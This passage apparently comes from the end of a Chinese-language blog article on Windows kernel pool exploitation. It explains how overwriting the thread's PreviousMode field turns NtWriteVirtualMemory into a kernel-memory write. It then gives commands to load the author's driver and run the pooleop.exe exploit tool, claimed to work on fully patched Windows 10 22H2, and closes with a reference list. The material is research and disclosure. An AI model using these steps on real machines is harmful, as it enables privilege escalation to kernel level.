1af1122+90指向了Kthread结构体+0x232是PreMode位置,在Npfs!NpReadDataQueue中被从原值1修改为0,这样就可以实现用NtWriteVirtualMemory写内核态内存了,至此完成了漏洞的利用.
下面是工具的具体使用方法
//安装驱动,需要管理员运行
sc create mydriver binpath=C:\dl\poolqudong.sys type=kernel start=demand error=ignore
//启动驱动
sc start mydriver&&sc query mydriver
//启动漏洞利用工具
pooleop.exe -np //nonpaged pool mode 非分页模式利用
pooleop.exe -p //paged pool mode 分页模式利用
笔者的工具实现了全自动分页内存和非分页内存稳定利用,解决了不同windows版本适配问题,降低了蓝屏几率,提高了漏洞利用成功率,下面是在最新满补丁Windows 10 22h2上的运行结果.
分页内存利用工具原文
pool风水工具作者原文
非分页内存利用作者原文
旧Windows内核池风水利用工具原文翻译
big pool 泄露
父进程句柄利用
pool利用
另一种CVE-2021-31956
kernelpool-exploitation
Exploiting a Windows 10 PagedPool
Sheep Year Kernel Heap Fengshui
Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer Overwrite attack
Cesar Cerrudo Tricks to easily elevate its privileges
Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows
pool windbg 插件
npfs模块reactos源码
旧笔者工具git
旧Windows内核池风水利用工具研究
作者来自ZheJiang Guoli Security Technology,邮箱[email protected]